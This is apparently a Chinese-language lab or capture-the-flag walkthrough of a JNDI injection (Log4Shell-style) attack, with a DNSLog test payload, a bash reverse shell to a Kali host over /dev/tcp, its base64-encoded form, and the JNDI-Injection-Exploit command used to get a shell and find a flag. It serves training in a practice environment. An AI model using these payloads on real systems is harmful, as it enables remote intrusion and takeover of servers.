1,打开实验环境
2,DNSLog验证
①点击 ???,用burpsuit 进行抓包
②通过DNSLog平台获取到域名eqpshf.dnslog.cn
③构造payload:${jndi:ldap:// eqpshf.dnslog.cn}
,并使用Burpsuite进行抓包并替换payload参数
④通过Burpsuite自带的编码工具对其进行URL编码:
⑤编码后发送请求包:
⑥在DNSLog网站成功接收到解析记录:
3,JNDI注入反弹shell
①在kali中下载JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用
②使用反弹shell指令,kali的ip为192.168.10.129,port可使用任意未被占用的端口,此处指定为4444,
bash -i >& /dev/tcp/192.168.10.129/4444 0>&1
③将此条命令进行Java Runtime Bash 编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}
④编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjEyOS80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.10.129
⑤在新的窗口监听4444端口:
⑥替换工具生成的payload:rmi://192.168.10.129:1099/10a1qt
到Burpsuite:
⑦编码后发送到靶机:
⑧kali的监听窗口成功接收到反弹的shell:
⑨输入find / -name flag*
,成功得到flag